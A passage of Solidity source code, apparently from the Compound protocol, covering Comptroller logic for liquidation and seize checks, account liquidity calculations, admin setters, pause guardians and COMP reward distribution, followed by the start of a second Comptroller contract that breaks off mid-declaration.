uint(Error.MATH_ERROR); } if (repayAmount > maxClose) { return uint(Error.TOO_MUCH_REPAY); } return uint(Error.NO_ERROR); } /** * @notice Validates liquidateBorrow and reverts on rejection. May emit logs. * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint actualRepayAmount, uint seizeTokens) external { // Shh - currently unused cTokenBorrowed; cTokenCollateral; liquidator; borrower; actualRepayAmount; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the seizing of assets should be allowed to occur * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!seizeGuardianPaused, "seize is paused"); // Shh - currently unused seizeTokens; if (!markets[cTokenCollateral].isListed || !markets[cTokenBorrowed].isListed) { return uint(Error.MARKET_NOT_LISTED); } if (CToken(cTokenCollateral).comptroller() != CToken(cTokenBorrowed).comptroller()) { return uint(Error.COMPTROLLER_MISMATCH); } // Keep the flywheel moving updateCompSupplyIndex(cTokenCollateral); distributeSupplierComp(cTokenCollateral, borrower, false); distributeSupplierComp(cTokenCollateral, liquidator, false); return uint(Error.NO_ERROR); } /** * @notice Validates seize and reverts on rejection. May emit logs. * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external { // Shh - currently unused cTokenCollateral; cTokenBorrowed; liquidator; borrower; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to transfer tokens in the given market * @param cToken The market to verify the transfer against * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer * @return 0 if the transfer is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!transferGuardianPaused, "transfer is paused"); // Currently the only consideration is whether or not // the src is allowed to redeem this many tokens uint allowed = redeemAllowedInternal(cToken, src, transferTokens); if (allowed != uint(Error.NO_ERROR)) { return allowed; } // Keep the flywheel moving updateCompSupplyIndex(cToken); distributeSupplierComp(cToken, src, false); distributeSupplierComp(cToken, dst, false); return uint(Error.NO_ERROR); } /** * @notice Validates transfer and reverts on rejection. May emit logs. * @param cToken Asset being transferred * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer */ function transferVerify(address cToken, address src, address dst, uint transferTokens) external { // Shh - currently unused cToken; src; dst; transferTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /*** Liquidity/Liquidation Calculations ***/ /** * @dev Local vars for avoiding stack-depth limits in calculating account liquidity. * Note that `cTokenBalance` is the number of cTokens the account owns in the market, * whereas `borrowBalance` is the amount of underlying that the account has borrowed. */ struct AccountLiquidityLocalVars { uint sumCollateral; uint sumBorrowPlusEffects; uint cTokenBalance; uint borrowBalance; uint exchangeRateMantissa; uint oraclePriceMantissa; Exp collateralFactor; Exp exchangeRate; Exp oraclePrice; Exp tokensToDenom; } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code (semi-opaque), account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidity(address account) public view returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0); return (uint(err), liquidity, shortfall); } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code, account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidityInternal(address account) internal view returns (Error, uint, uint) { return getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param cTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @return (possible error code (semi-opaque), hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidity( address account, address cTokenModify, uint redeemTokens, uint borrowAmount) public view returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(cTokenModify), redeemTokens, borrowAmount); return (uint(err), liquidity, shortfall); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param cTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @dev Note that we calculate the exchangeRateStored for each collateral cToken using stored data, * without calculating accumulated interest. * @return (possible error code, hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidityInternal( address account, CToken cTokenModify, uint redeemTokens, uint borrowAmount) internal view returns (Error, uint, uint) { AccountLiquidityLocalVars memory vars; // Holds all our calculation results uint oErr; MathError mErr; // For each asset the account is in CToken[] memory assets = accountAssets[account]; for (uint i = 0; i < assets.length; i++) { CToken asset = assets[i]; // Read the balances and exchange rate from the cToken (oErr, vars.cTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = asset.getAccountSnapshot(account); if (oErr != 0) { // semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades return (Error.SNAPSHOT_ERROR, 0, 0); } vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa}); vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa}); // Get the normalized price of the asset vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset); if (vars.oraclePriceMantissa == 0) { return (Error.PRICE_ERROR, 0, 0); } vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa}); // Pre-compute a conversion factor from tokens -> ether (normalized price value) (mErr, vars.tokensToDenom) = mulExp3(vars.collateralFactor, vars.exchangeRate, vars.oraclePrice); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // sumCollateral += tokensToDenom * cTokenBalance (mErr, vars.sumCollateral) = mulScalarTruncateAddUInt(vars.tokensToDenom, vars.cTokenBalance, vars.sumCollateral); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // sumBorrowPlusEffects += oraclePrice * borrowBalance (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, vars.borrowBalance, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // Calculate effects of interacting with cTokenModify if (asset == cTokenModify) { // redeem effect // sumBorrowPlusEffects += tokensToDenom * redeemTokens (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.tokensToDenom, redeemTokens, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // borrow effect // sumBorrowPlusEffects += oraclePrice * borrowAmount (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, borrowAmount, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } } } // These are safe, as the underflow condition is checked first if (vars.sumCollateral > vars.sumBorrowPlusEffects) { return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0); } else { return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral); } } /** * @notice Calculate number of tokens of collateral asset to seize given an underlying amount * @dev Used in liquidation (called in cToken.liquidateBorrowFresh) * @param cTokenBorrowed The address of the borrowed cToken * @param cTokenCollateral The address of the collateral cToken * @param actualRepayAmount The amount of cTokenBorrowed underlying to convert into cTokenCollateral tokens * @return (errorCode, number of cTokenCollateral tokens to be seized in a liquidation) */ function liquidateCalculateSeizeTokens(address cTokenBorrowed, address cTokenCollateral, uint actualRepayAmount) external view returns (uint, uint) { /* Read oracle prices for borrowed and collateral markets */ uint priceBorrowedMantissa = oracle.getUnderlyingPrice(CToken(cTokenBorrowed)); uint priceCollateralMantissa = oracle.getUnderlyingPrice(CToken(cTokenCollateral)); if (priceBorrowedMantissa == 0 || priceCollateralMantissa == 0) { return (uint(Error.PRICE_ERROR), 0); } /* * Get the exchange rate and calculate the number of collateral tokens to seize: * seizeAmount = actualRepayAmount * liquidationIncentive * priceBorrowed / priceCollateral * seizeTokens = seizeAmount / exchangeRate * = actualRepayAmount * (liquidationIncentive * priceBorrowed) / (priceCollateral * exchangeRate) */ uint exchangeRateMantissa = CToken(cTokenCollateral).exchangeRateStored(); // Note: reverts on error uint seizeTokens; Exp memory numerator; Exp memory denominator; Exp memory ratio; MathError mathErr; (mathErr, numerator) = mulExp(liquidationIncentiveMantissa, priceBorrowedMantissa); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, denominator) = mulExp(priceCollateralMantissa, exchangeRateMantissa); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, ratio) = divExp(numerator, denominator); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, seizeTokens) = mulScalarTruncate(ratio, actualRepayAmount); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } return (uint(Error.NO_ERROR), seizeTokens); } /*** Admin Functions ***/ /** * @notice Sets a new price oracle for the comptroller * @dev Admin function to set a new price oracle * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPriceOracle(PriceOracle newOracle) public returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PRICE_ORACLE_OWNER_CHECK); } // Track the old oracle for the comptroller PriceOracle oldOracle = oracle; // Set comptroller's oracle to newOracle oracle = newOracle; // Emit NewPriceOracle(oldOracle, newOracle) emit NewPriceOracle(oldOracle, newOracle); return uint(Error.NO_ERROR); } /** * @notice Sets the closeFactor used when liquidating borrows * @dev Admin function to set closeFactor * @param newCloseFactorMantissa New close factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCloseFactor(uint newCloseFactorMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_CLOSE_FACTOR_OWNER_CHECK); } Exp memory newCloseFactorExp = Exp({mantissa: newCloseFactorMantissa}); Exp memory lowLimit = Exp({mantissa: closeFactorMinMantissa}); if (lessThanOrEqualExp(newCloseFactorExp, lowLimit)) { return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION); } Exp memory highLimit = Exp({mantissa: closeFactorMaxMantissa}); if (lessThanExp(highLimit, newCloseFactorExp)) { return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION); } uint oldCloseFactorMantissa = closeFactorMantissa; closeFactorMantissa = newCloseFactorMantissa; emit NewCloseFactor(oldCloseFactorMantissa, closeFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets the collateralFactor for a market * @dev Admin function to set per-market collateralFactor * @param cToken The market to set the factor on * @param newCollateralFactorMantissa The new collateral factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCollateralFactor(CToken cToken, uint newCollateralFactorMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COLLATERAL_FACTOR_OWNER_CHECK); } // Verify market is listed Market storage market = markets[address(cToken)]; if (!market.isListed) { return fail(Error.MARKET_NOT_LISTED, FailureInfo.SET_COLLATERAL_FACTOR_NO_EXISTS); } Exp memory newCollateralFactorExp = Exp({mantissa: newCollateralFactorMantissa}); // Check collateral factor <= 0.9 Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa}); if (lessThanExp(highLimit, newCollateralFactorExp)) { return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION); } // If collateral factor != 0, fail if price == 0 if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(cToken) == 0) { return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE); } // Set market's collateral factor to new collateral factor, remember old value uint oldCollateralFactorMantissa = market.collateralFactorMantissa; market.collateralFactorMantissa = newCollateralFactorMantissa; // Emit event with asset, old collateral factor, and new collateral factor emit NewCollateralFactor(cToken, oldCollateralFactorMantissa, newCollateralFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets maxAssets which controls how many markets can be entered * @dev Admin function to set maxAssets * @param newMaxAssets New max assets * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setMaxAssets(uint newMaxAssets) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_MAX_ASSETS_OWNER_CHECK); } uint oldMaxAssets = maxAssets; maxAssets = newMaxAssets; emit NewMaxAssets(oldMaxAssets, newMaxAssets); return uint(Error.NO_ERROR); } /** * @notice Sets liquidationIncentive * @dev Admin function to set liquidationIncentive * @param newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setLiquidationIncentive(uint newLiquidationIncentiveMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_LIQUIDATION_INCENTIVE_OWNER_CHECK); } // Check de-scaled min <= newLiquidationIncentive <= max Exp memory newLiquidationIncentive = Exp({mantissa: newLiquidationIncentiveMantissa}); Exp memory minLiquidationIncentive = Exp({mantissa: liquidationIncentiveMinMantissa}); if (lessThanExp(newLiquidationIncentive, minLiquidationIncentive)) { return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION); } Exp memory maxLiquidationIncentive = Exp({mantissa: liquidationIncentiveMaxMantissa}); if (lessThanExp(maxLiquidationIncentive, newLiquidationIncentive)) { return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION); } // Save current value for use in log uint oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa; // Set liquidation incentive to new incentive liquidationIncentiveMantissa = newLiquidationIncentiveMantissa; // Emit event with old incentive, new incentive emit NewLiquidationIncentive(oldLiquidationIncentiveMantissa, newLiquidationIncentiveMantissa); return uint(Error.NO_ERROR); } /** * @notice Add the market to the markets mapping and set it as listed * @dev Admin function to set isListed and add support for the market * @param cToken The address of the market (token) to list * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _supportMarket(CToken cToken) external returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SUPPORT_MARKET_OWNER_CHECK); } if (markets[address(cToken)].isListed) { return fail(Error.MARKET_ALREADY_LISTED, FailureInfo.SUPPORT_MARKET_EXISTS); } cToken.isCToken(); // Sanity check to make sure its really a CToken markets[address(cToken)] = Market({isListed: true, isComped: false, collateralFactorMantissa: 0}); _addMarketInternal(address(cToken)); emit MarketListed(cToken); return uint(Error.NO_ERROR); } function _addMarketInternal(address cToken) internal { for (uint i = 0; i < allMarkets.length; i ++) { require(allMarkets[i] != CToken(cToken), "market already added"); } allMarkets.push(CToken(cToken)); } /** * @notice Admin function to change the Pause Guardian * @param newPauseGuardian The address of the new Pause Guardian * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _setPauseGuardian(address newPauseGuardian) public returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PAUSE_GUARDIAN_OWNER_CHECK); } // Save current value for inclusion in log address oldPauseGuardian = pauseGuardian; // Store pauseGuardian with value newPauseGuardian pauseGuardian = newPauseGuardian; // Emit NewPauseGuardian(OldPauseGuardian, NewPauseGuardian) emit NewPauseGuardian(oldPauseGuardian, pauseGuardian); return uint(Error.NO_ERROR); } function _setMintPaused(CToken cToken, bool state) public returns (bool) { require(markets[address(cToken)].isListed, "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); mintGuardianPaused[address(cToken)] = state; emit ActionPaused(cToken, "Mint", state); return state; } function _setBorrowPaused(CToken cToken, bool state) public returns (bool) { require(markets[address(cToken)].isListed, "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); borrowGuardianPaused[address(cToken)] = state; emit ActionPaused(cToken, "Borrow", state); return state; } function _setTransferPaused(bool state) public returns (bool) { require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); transferGuardianPaused = state; emit ActionPaused("Transfer", state); return state; } function _setSeizePaused(bool state) public returns (bool) { require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); seizeGuardianPaused = state; emit ActionPaused("Seize", state); return state; } function _become(Unitroller unitroller, uint compRate_, address[] memory compMarketsToAdd, address[] memory otherMarketsToAdd) public { require(msg.sender == unitroller.admin(), "only unitroller admin can change brains"); require(unitroller._acceptImplementation() == 0, "change not authorized"); ComptrollerG3(address(unitroller))._becomeG3(compRate_, compMarketsToAdd, otherMarketsToAdd); } function _becomeG3(uint compRate_, address[] memory compMarketsToAdd, address[] memory otherMarketsToAdd) public { require(msg.sender == comptrollerImplementation, "only brains can become itself"); for (uint i = 0; i < compMarketsToAdd.length; i++) { _addMarketInternal(address(compMarketsToAdd[i])); } for (uint i = 0; i < otherMarketsToAdd.length; i++) { _addMarketInternal(address(otherMarketsToAdd[i])); } _setCompRate(compRate_); _addCompMarkets(compMarketsToAdd); } /** * @notice Checks caller is admin, or this contract is becoming the new implementation */ function adminOrInitializing() internal view returns (bool) { return msg.sender == admin || msg.sender == comptrollerImplementation; } /*** Comp Distribution ***/ /** * @notice Recalculate and update COMP speeds for all COMP markets */ function refreshCompSpeeds() public { CToken[] memory allMarkets_ = allMarkets; for (uint i = 0; i < allMarkets_.length; i++) { CToken cToken = allMarkets_[i]; Exp memory borrowIndex = Exp({mantissa: cToken.borrowIndex()}); updateCompSupplyIndex(address(cToken)); updateCompBorrowIndex(address(cToken), borrowIndex); } Exp memory totalUtility = Exp({mantissa: 0}); Exp[] memory utilities = new Exp[](allMarkets_.length); for (uint i = 0; i < allMarkets_.length; i++) { CToken cToken = allMarkets_[i]; if (markets[address(cToken)].isComped) { Exp memory assetPrice = Exp({mantissa: oracle.getUnderlyingPrice(cToken)}); Exp memory interestPerBlock = mul_(Exp({mantissa: cToken.borrowRatePerBlock()}), cToken.totalBorrows()); Exp memory utility = mul_(interestPerBlock, assetPrice); utilities[i] = utility; totalUtility = add_(totalUtility, utility); } } for (uint i = 0; i < allMarkets_.length; i++) { CToken cToken = allMarkets[i]; uint newSpeed = totalUtility.mantissa > 0 ? mul_(compRate, div_(utilities[i], totalUtility)) : 0; compSpeeds[address(cToken)] = newSpeed; emit CompSpeedUpdated(cToken, newSpeed); } } /** * @notice Accrue COMP to the market by updating the supply index * @param cToken The market whose supply index to update */ function updateCompSupplyIndex(address cToken) internal { CompMarketState storage supplyState = compSupplyState[cToken]; uint supplySpeed = compSpeeds[cToken]; uint blockNumber = getBlockNumber(); uint deltaBlocks = sub_(blockNumber, uint(supplyState.block)); if (deltaBlocks > 0 && supplySpeed > 0) { uint supplyTokens = CToken(cToken).totalSupply(); uint compAccrued = mul_(deltaBlocks, supplySpeed); Double memory ratio = supplyTokens > 0 ? fraction(compAccrued, supplyTokens) : Double({mantissa: 0}); Double memory index = add_(Double({mantissa: supplyState.index}), ratio); compSupplyState[cToken] = CompMarketState({ index: safe224(index.mantissa, "new index exceeds 224 bits"), block: safe32(blockNumber, "block number exceeds 32 bits") }); } else if (deltaBlocks > 0) { supplyState.block = safe32(blockNumber, "block number exceeds 32 bits"); } } /** * @notice Accrue COMP to the market by updating the borrow index * @param cToken The market whose borrow index to update */ function updateCompBorrowIndex(address cToken, Exp memory marketBorrowIndex) internal { CompMarketState storage borrowState = compBorrowState[cToken]; uint borrowSpeed = compSpeeds[cToken]; uint blockNumber = getBlockNumber(); uint deltaBlocks = sub_(blockNumber, uint(borrowState.block)); if (deltaBlocks > 0 && borrowSpeed > 0) { uint borrowAmount = div_(CToken(cToken).totalBorrows(), marketBorrowIndex); uint compAccrued = mul_(deltaBlocks, borrowSpeed); Double memory ratio = borrowAmount > 0 ? fraction(compAccrued, borrowAmount) : Double({mantissa: 0}); Double memory index = add_(Double({mantissa: borrowState.index}), ratio); compBorrowState[cToken] = CompMarketState({ index: safe224(index.mantissa, "new index exceeds 224 bits"), block: safe32(blockNumber, "block number exceeds 32 bits") }); } else if (deltaBlocks > 0) { borrowState.block = safe32(blockNumber, "block number exceeds 32 bits"); } } /** * @notice Calculate COMP accrued by a supplier and possibly transfer it to them * @param cToken The market in which the supplier is interacting * @param supplier The address of the supplier to distribute COMP to */ function distributeSupplierComp(address cToken, address supplier, bool distributeAll) internal { CompMarketState storage supplyState = compSupplyState[cToken]; Double memory supplyIndex = Double({mantissa: supplyState.index}); Double memory supplierIndex = Double({mantissa: compSupplierIndex[cToken][supplier]}); compSupplierIndex[cToken][supplier] = supplyIndex.mantissa; if (supplierIndex.mantissa == 0 && supplyIndex.mantissa > 0) { supplierIndex.mantissa = compInitialIndex; } Double memory deltaIndex = sub_(supplyIndex, supplierIndex); uint supplierTokens = CToken(cToken).balanceOf(supplier); uint supplierDelta = mul_(supplierTokens, deltaIndex); uint supplierAccrued = add_(compAccrued[supplier], supplierDelta); compAccrued[supplier] = transferComp(supplier, supplierAccrued, distributeAll ? 0 : compClaimThreshold); emit DistributedSupplierComp(CToken(cToken), supplier, supplierDelta, supplyIndex.mantissa); } /** * @notice Calculate COMP accrued by a borrower and possibly transfer it to them * @dev Borrowers will not begin to accrue until after the first interaction with the protocol. * @param cToken The market in which the borrower is interacting * @param borrower The address of the borrower to distribute COMP to */ function distributeBorrowerComp(address cToken, address borrower, Exp memory marketBorrowIndex, bool distributeAll) internal { CompMarketState storage borrowState = compBorrowState[cToken]; Double memory borrowIndex = Double({mantissa: borrowState.index}); Double memory borrowerIndex = Double({mantissa: compBorrowerIndex[cToken][borrower]}); compBorrowerIndex[cToken][borrower] = borrowIndex.mantissa; if (borrowerIndex.mantissa > 0) { Double memory deltaIndex = sub_(borrowIndex, borrowerIndex); uint borrowerAmount = div_(CToken(cToken).borrowBalanceStored(borrower), marketBorrowIndex); uint borrowerDelta = mul_(borrowerAmount, deltaIndex); uint borrowerAccrued = add_(compAccrued[borrower], borrowerDelta); compAccrued[borrower] = transferComp(borrower, borrowerAccrued, distributeAll ? 0 : compClaimThreshold); emit DistributedBorrowerComp(CToken(cToken), borrower, borrowerDelta, borrowIndex.mantissa); } } /** * @notice Transfer COMP to the user, if they are above the threshold * @dev Note: If there is not enough COMP, we do not perform the transfer all. * @param user The address of the user to transfer COMP to * @param userAccrued The amount of COMP to (possibly) transfer * @return The amount of COMP which was NOT transferred to the user */ function transferComp(address user, uint userAccrued, uint threshold) internal returns (uint) { if (userAccrued >= threshold && userAccrued > 0) { Comp comp = Comp(getCompAddress()); uint compRemaining = comp.balanceOf(address(this)); if (userAccrued <= compRemaining) { comp.transfer(user, userAccrued); return 0; } } return userAccrued; } /** * @notice Claim all the comp accrued by holder in all markets * @param holder The address to claim COMP for */ function claimComp(address holder) public { return claimComp(holder, allMarkets); } /** * @notice Claim all the comp accrued by holder in the specified markets * @param holder The address to claim COMP for * @param cTokens The list of markets to claim COMP in */ function claimComp(address holder, CToken[] memory cTokens) public { address[] memory holders = new address[](1); holders[0] = holder; claimComp(holders, cTokens, true, true); } /** * @notice Claim all comp accrued by the holders * @param holders The addresses to claim COMP for * @param cTokens The list of markets to claim COMP in * @param borrowers Whether or not to claim COMP earned by borrowing * @param suppliers Whether or not to claim COMP earned by supplying */ function claimComp(address[] memory holders, CToken[] memory cTokens, bool borrowers, bool suppliers) public { for (uint i = 0; i < cTokens.length; i++) { CToken cToken = cTokens[i]; require(markets[address(cToken)].isListed, "market must be listed"); if (borrowers == true) { Exp memory borrowIndex = Exp({mantissa: cToken.borrowIndex()}); updateCompBorrowIndex(address(cToken), borrowIndex); for (uint j = 0; j < holders.length; j++) { distributeBorrowerComp(address(cToken), holders[j], borrowIndex, true); } } if (suppliers == true) { updateCompSupplyIndex(address(cToken)); for (uint j = 0; j < holders.length; j++) { distributeSupplierComp(address(cToken), holders[j], true); } } } } /*** Comp Distribution Admin ***/ /** * @notice Set the amount of COMP distributed per block * @param compRate_ The amount of COMP wei per block to distribute */ function _setCompRate(uint compRate_) public { require(adminOrInitializing(), "only admin can change comp rate"); uint oldRate = compRate; compRate = compRate_; emit NewCompRate(oldRate, compRate_); refreshCompSpeeds(); } /** * @notice Add markets to compMarkets, allowing them to earn COMP in the flywheel * @param cTokens The addresses of the markets to add */ function _addCompMarkets(address[] memory cTokens) public { require(adminOrInitializing(), "only admin can add comp market"); for (uint i = 0; i < cTokens.length; i++) { _addCompMarketInternal(cTokens[i]); } refreshCompSpeeds(); } function _addCompMarketInternal(address cToken) internal { Market storage market = markets[cToken]; require(market.isListed == true, "comp market is not listed"); require(market.isComped == false, "comp market already added"); market.isComped = true; emit MarketComped(CToken(cToken), true); if (compSupplyState[cToken].index == 0 && compSupplyState[cToken].block == 0) { compSupplyState[cToken] = CompMarketState({ index: compInitialIndex, block: safe32(getBlockNumber(), "block number exceeds 32 bits") }); } if (compBorrowState[cToken].index == 0 && compBorrowState[cToken].block == 0) { compBorrowState[cToken] = CompMarketState({ index: compInitialIndex, block: safe32(getBlockNumber(), "block number exceeds 32 bits") }); } } /** * @notice Remove a market from compMarkets, preventing it from earning COMP in the flywheel * @param cToken The address of the market to drop */ function _dropCompMarket(address cToken) public { require(msg.sender == admin, "only admin can drop comp market"); Market storage market = markets[cToken]; require(market.isComped == true, "market is not a comp market"); market.isComped = false; emit MarketComped(CToken(cToken), false); refreshCompSpeeds(); } /** * @notice Return all of the markets * @dev The automatic getter may be used to access an individual market. * @return The list of market addresses */ function getAllMarkets() public view returns (CToken[] memory) { return allMarkets; } function getBlockNumber() public view returns (uint) { return block.number; } /** * @notice Return the address of the COMP token * @return The address of COMP */ function getCompAddress() public view returns (address) { return 0xc00e94Cb662C3520282E6f5717214004A7f26888; } } pragma solidity ^0.5.16; import "./CToken.sol"; import "./ErrorReporter.sol"; import "./Exponential.sol"; import "./PriceOracle.sol"; import "./ComptrollerInterface.sol"; import "./ComptrollerStorage.sol"; import "./Unitroller.sol"; import "./Governance/Comp.sol"; /** * @title Compound's Comptroller Contract * @author Compound */ contract Comptroller is ComptrollerV3Storage, ComptrollerInterface, ComptrollerErrorReporter, Exponential { /// @notice Emitted when an admin supports a market event MarketListed(CToken cToken); /// @notice Emitted when an account enters a market event MarketEntered(CToken cToken, address account); /// @notice Emitted when an account exits a market event MarketExited(CToken cToken, address account); /// @notice Emitted when close factor is changed by admin event NewCloseFactor(uint oldCloseFactorMantissa, uint newCloseFactorMantissa); /// @notice Emitted when a collateral factor is changed by admin event NewCollateralFactor(CToken cToken, uint oldCollateralFactorMantissa, uint newCollateralFactorMantissa); /// @notice Emitted when liquidation incentive is changed by admin event NewLiquidationIncentive(uint oldLiquidationIncentiveMantissa, uint newLiquidationIncentiveMantissa); /// @notice Emitted when maxAssets is changed by admin event NewMaxAssets(uint oldMaxAssets, uint newMaxAssets); /// @notice Emitted when price oracle is changed event NewPriceOracle(PriceOracle oldPriceOracle, PriceOracle newPriceOracle); /// @notice Emitted when pause guardian is changed event NewPauseGuardian(address oldPauseGuardian, address newPauseGuardian); /// @notice Emitted when an action is paused globally event ActionPaused(string action, bool pauseState); /// @notice Emitted when an action is paused on a market event ActionPaused(CToken cToken, string action, bool pauseState); /// @notice Emitted when market comped status is changed event MarketComped(CToken cToken, bool isComped); /// @notice Emitted when COMP rate is changed event NewCompRate(uint oldCompRate, uint newCompRate); /// @notice Emitted when a new COMP speed is calculated for a market event CompSpeedUpdated(CToken indexed cToken, uint newSpeed); /// @notice Emitted when COMP is distributed to a supplier event DistributedSupplierComp(CToken indexed cToken, address indexed supplier, uint compDelta, uint compSupplyIndex); /// @notice Emitted when COMP is distributed to a borrower event DistributedBorrowerComp(CToken indexed cToken, address indexed borrower, uint compDelta, uint compBorrowIndex); /// @notice The threshold above which the flywheel transfers COMP, in wei uint public constant compClaimThreshold = 0.001e18; /// @notice The initial COMP index for a market uint224 public constant compInitialIndex = 1e36; // closeFactorMantissa must be strictly greater than this value uint internal constant closeFactorMinMantissa = 0.05e18; // 0.05 // closeFactorMantissa must not exceed this value uint internal constant closeFactorMaxMantissa = 0.9e18; // 0.9 // No collateralFactorMantissa may exceed this value uint internal 